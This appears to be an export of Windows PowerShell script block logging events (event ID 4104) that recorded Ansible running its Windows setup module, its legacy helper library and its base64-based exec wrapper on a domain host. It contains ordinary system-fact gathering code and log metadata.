ForEach($fact in $facts.PSObject.Properties) {
$fact_name = $fact.Name
$ansible_facts.Add("facter_$fact_name", $fact.Value)
}
}
}
if($gather_subset.Contains('interfaces')) {
$netcfg = Get-LazyCimInstance Win32_NetworkAdapterConfiguration
$ActiveNetcfg = @()
$ActiveNetcfg += $netcfg | where {$_.ipaddress -ne $null}
$namespaces = Get-LazyCimInstance __Namespace -namespace root
if ($namespaces | Where-Object { $_.Name -eq "StandardCimv" }) {
$net_adapters = Get-LazyCimInstance MSFT_NetAdapter -namespace Root\StandardCimv2
$guid_key = "InterfaceGUID"
$name_key = "Name"
} else {
$net_adapters = Get-LazyCimInstance Win32_NetworkAdapter
$guid_key = "GUID"
$name_key = "NetConnectionID"
}
$formattednetcfg = @()
foreach ($adapter in $ActiveNetcfg)
{
$thisadapter = @{
default_gateway = $null
connection_name = $null
dns_domain = $adapter.dnsdomain
interface_index = $adapter.InterfaceIndex
interface_name = $adapter.description
macaddress = $adapter.macaddress
}
if ($adapter.defaultIPGateway)
{
$thisadapter.default_gateway = $adapter.DefaultIPGateway[0].ToString()
}
$net_adapter = $net_adapters | Where-Object { $_.$guid_key -eq $adapter.SettingID }
if ($net_adapter) {
$thisadapter.connection_name = $net_adapter.$name_key
}
$formattednetcfg += $thisadapter
}
$ansible_facts += @{
ansible_interfaces = $formattednetcfg
}
}
if ($gather_subset.Contains("local") -and $factpath -ne $null) {
# Get any custom facts; results are updated in the
Get-CustomFacts -factpath $factpath
}
if($gather_subset.Contains('memory')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ansible_facts += @{
# Win32_PhysicalMemory is empty on some virtual platforms
ansible_memtotal_mb = ([math]::round($win32_cs.TotalPhysicalMemory / 1024 / 1024))
ansible_swaptotal_mb = ([math]::round($win32_os.TotalSwapSpaceSize / 1024 / 1024))
}
}
if($gather_subset.Contains('platform')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ip_props = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
$ansible_facts += @{
ansible_architecture = $win32_os.OSArchitecture
ansible_domain = $ip_props.DomainName
ansible_fqdn = ($ip_props.Hostname + "." + $ip_props.DomainName)
ansible_hostname = $env:COMPUTERNAME
ansible_kernel = $osversion.Version.ToString()
ansible_nodename = ($ip_props.HostName + "." + $ip_props.DomainName)
ansible_machine_id = Get-MachineSid
ansible_owner_contact = ([string] $win32_cs.PrimaryOwnerContact)
ansible_owner_name = ([string] $win32_cs.PrimaryOwnerName)
# FUTURE: should this live in its own subset?
ansible_reboot_pending = (Get-PendingRebootStatus)
ansible_system = $osversion.Platform.ToString()
ansible_system_description = ([string] $win32_os.Description)
ansible_system_vendor = $win32_cs.Manufacturer
}
}
if($gather_subset.Contains('powershell_version')) {
$ansible_facts += @{
ansible_powershell_version = ($PSVersionTable.PSVersion.Major)
}
}
if($gather_subset.Contains('processor')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$win32_cpu = Get-LazyCimInstance Win32_Processor
if ($win32_cpu -is [array]) {
# multi-socket, pick first
$win32_cpu = $win32_cpu[0]
}
$cpu_list = @( )
for ($i=1; $i -le ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors); $i++) {
$cpu_list += $win32_cpu.Manufacturer
$cpu_list += $win32_cpu.Name
}
$ansible_facts += @{
ansible_processor = $cpu_list
ansible_processor_cores = $win32_cpu.NumberOfCores
ansible_processor_count = $win32_cs.NumberOfProcessors
ansible_processor_threads_per_core = ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors / $win32_cpu.NumberOfCores)
ansible_processor_vcpus = ($win32_cpu.NumberOfLogicalProcessors / $win32_cs.NumberOfProcessors)
}
}
if($gather_subset.Contains('uptime')) {
$win32_os = Get-LazyCimInstance Win32_OperatingSystem
$ansible_facts += @{
ansible_lastboot = $win32_os.lastbootuptime.ToString("u")
ansible_uptime_seconds = $([System.Convert]::ToInt64($(Get-Date).Subtract($win32_os.lastbootuptime).TotalSeconds))
}
}
if($gather_subset.Contains('user')) {
$user = [Security.Principal.WindowsIdentity]::GetCurrent()
$ansible_facts += @{
ansible_user_dir = $env:userprofile
# Win32_UserAccount.FullName is probably the right thing here, but it can be expensive to get on large domains
ansible_user_gecos = ""
ansible_user_id = $env:username
ansible_user_sid = $user.User.Value
}
}
if($gather_subset.Contains('windows_domain')) {
$win32_cs = Get-LazyCimInstance Win32_ComputerSystem
$domain_roles = @{
0 = "Stand-alone workstation"
1 = "Member workstation"
2 = "Stand-alone server"
3 = "Member server"
4 = "Backup domain controller"
5 = "Primary domain controller"
}
$domain_role = $domain_roles.Get_Item([Int32]$win32_cs.DomainRole)
$ansible_facts += @{
ansible_windows_domain = $win32_cs.Domain
ansible_windows_domain_member = $win32_cs.PartOfDomain
ansible_windows_domain_role = $domain_role
}
}
if($gather_subset.Contains('winrm')) {
$winrm_https_listener_parent_paths = Get-ChildItem -Path WSMan:\localhost\Listener -Recurse | Where-Object {$_.PSChildName -eq "Transport" -and $_.Value -eq "HTTPS"} | select PSParentPath
if ($winrm_https_listener_parent_paths -isnot [array]) {
$winrm_https_listener_parent_paths = @($winrm_https_listener_parent_paths)
}
$winrm_https_listener_paths = @()
foreach ($winrm_https_listener_parent_path in $winrm_https_listener_parent_paths) {
$winrm_https_listener_paths += $winrm_https_listener_parent_path.PSParentPath.Substring($winrm_https_listener_parent_path.PSParentPath.LastIndexOf("\"))
}
$https_listeners = @()
foreach ($winrm_https_listener_path in $winrm_https_listener_paths) {
$https_listeners += Get-ChildItem -Path "WSMan:\localhost\Listener$winrm_https_listener_path"
}
$winrm_cert_thumbprints = @()
foreach ($https_listener in $https_listeners) {
$winrm_cert_thumbprints += $https_listener | where {$_.Name -EQ "CertificateThumbprint" } | select Value
}
$winrm_cert_expiry = @()
foreach ($winrm_cert_thumbprint in $winrm_cert_thumbprints) {
Try {
$winrm_cert_expiry += Get-ChildItem -Path Cert:\LocalMachine\My | where Thumbprint -EQ $winrm_cert_thumbprint.Value.ToString().ToUpper() | select NotAfter
} Catch {}
}
$winrm_cert_expirations = $winrm_cert_expiry | Sort-Object NotAfter
if ($winrm_cert_expirations) {
# this fact was renamed from ansible_winrm_certificate_expires due to collision with ansible_winrm_X connection var pattern
$ansible_facts.Add("ansible_win_rm_certificate_expires", $winrm_cert_expirations[0].NotAfter.ToString("yyyy-MM-dd HH:mm:ss"))
}
}
$result.ansible_facts += $ansible_facts
Exit-Json $result
ScriptBlock ID: 1600f11b-e507-406a-8715-da2d52a15dc7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2184 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 2496 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:50 AM | 61e00a24-ee3b-0002-3502-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: de4559c2-a73d-4883-993d-06220165ac9d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2183 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 1064 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:50 AM | 61e00a24-ee3b-0001-67c5-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: be5c197d-bd91-4320-b816-2fb15d2a4c24
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2182 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 1064 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:50 AM | 61e00a24-ee3b-0003-4ae3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
21lbXRvdGFsX21iID0gKFttYXRoXTo6cm91bmQoJHdpbjMyX2NzLlRvdGFsUGh5c2ljYWxNZW1vcnkgLyAxMDI0IC8gMTAyNCkpCiAgICAgICAgYW5zaWJsZV9zd2FwdG90YWxfbWIgPSAoW21hdGhdO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dHJpbmcoKS5Ub1VwcGVyKCkgfCBzZWxlY3QgTm90QWZ0ZXIKICAgICAgICB9IENhdGNoIHt9CiAgICB9CgogICAgJHdpbnJtX2NlcnRfZXhwaXJhdGlvbnMgPSAkd2lucm1fY2VydF9leHBpcnkgfCBTb3J0LU9iamVjdCBOb3RBZnRlcgogICAgaWYgKCR3aW5ybV9jZXJ0X2V4cGlyYXRpb25zKSB7CiAgICAgICAgIyB0aGlzIGZhY3Qgd2FzIHJlbmFtZWQgZnJvbSBhbnNpYmxlX3dpbnJtX2NlcnRpZmljYXRlX2V4cGlyZXMgZHVlIHRvIGNvbGxpc2lvbiB3aXRoIGFuc2libGVfd2lucm1fWCBjb25uZWN0aW9uIHZhciBwYXR0ZXJuCiAgICAgICAgJGFuc2libGVfZmFjdHMuQWRkKCJhbnNpYmxlX3dpbl9ybV9jZXJ0aWZpY2F0ZV9leHBpcmVzIiwgJHdpbnJtX2NlcnRfZXhwaXJhdGlvbnNbMF0uTm90QWZ0ZXIuVG9TdHJpbmcoInl5eXktTU0tZGQgSEg6bW06c3MiKSkKICAgIH0KfQoKJHJlc3VsdC5hbnNpYmxlX2ZhY3RzICs9ICRhbnNpYmxlX2ZhY3RzCgpFeGl0LUpzb24gJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "gather_timeout": 10, "_ansible_module_name": "setup", "_ansible_remote_tmp": "%TEMP%", "_ansible_verbosity": 3, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "gather_subset": ["all"], "_ansible_diff": false, "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "_ansible_check_mode": false, "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: e12dfeb2-478f-4263-b158-b7e1a94bc5a7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2181 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 1064 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:50 AM | 61e00a24-ee3b-0003-45e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
jdGlvbiBHZXQtRmlsZUNoZWNrc3VtKCRwYXRoLCAkYWxnb3JpdGhtID0gJ3NoYTEnKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBjYWxjdWxhdGUgYSBoYXNoIG9mIGEgZmlsZSBpbiBhIHdheSB3aGljaCBQb3dlclNoZWxsIDMKICAgIGFuZCBhYm92ZSBjYW4gaGFuZGxlCiM+CiAgICBJZiAoVGVzdC1QYXRoIC1QYXRoICRwYXRoIC1QYXRoVHlwZSBMZWFmKQogICAgewogICAgICAgIHN3aXRjaCAoJGFsZ29yaXRobSkKICAgICAgICB7CiAgICAgICAgICAgICdtZDUnIHsgJHNwID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5NRDVDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICAnc2hhMScgeyAkc3AgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlNIQTFDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICAnc2hhMjU2JyB7ICRzcCA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuU0hBMjU2Q3J5cHRvU2VydmljZVByb3ZpZGVyIH0KICAgICAgICAgICAgJ3NoYTM4NCcgeyAkc3AgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlNIQTM4NENyeXB0b1NlcnZpY2VQcm92a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p9CgppZiAoJGdhdGhlcl9zdWJzZXQuQ29udGFpbnMoImxvY2FsIikgLWFuZCAkZmFjdHBhdGggLW5lICRudWxsKSB7CiAgICAjIEdldCBhbnkgY3VzdG9tIGZhY3RzOyByZXN1bHRzIGFyZSB1cGRhdGVkIGluIHRoZQogICAgR2V0LUN1c3RvbUZhY3RzIC1mYWN0cGF0aCAkZmFjdHBhdGgKfQoKaWYoJGdhdGhlcl9zdWJzZXQuQ29udGFpbnMoJ21lbW9yeScpKSB7CiAgICAkd2luMzJfY3MgPSBHZXQtTGF6eUNpbUluc3RhbmNlIFdpbjMyX0NvbXB1dGVyU3lzdGVtCiAgICAkd2luMzJfb3MgPSBHZXQtTGF6eUNpbUluc3RhbmNlIFdpbjMyX09wZXJhdGluZ1N5c3RlbQogICAgJGFuc2libGVfZmFjdHMgKz0gQHsKICAgICAgICAjIFdpbjMyX1BoeXNpY2FsTWVtb3J5IGlzIGVtcHR5IG9uIHNvbWUgdmlydHVhbCBwbGF0Zm9ybXMKICAgICAgICBhbnNpYmxlX
ScriptBlock ID: e12dfeb2-478f-4263-b158-b7e1a94bc5a7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2180 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3276 | 1064 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:00:50 AM | 61e00a24-ee3b-0003-45e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3YgaW4gJHBheWxvYWQuZW52aXJvbm1lbnQuR2V0RW51bWVyYXR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aW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, 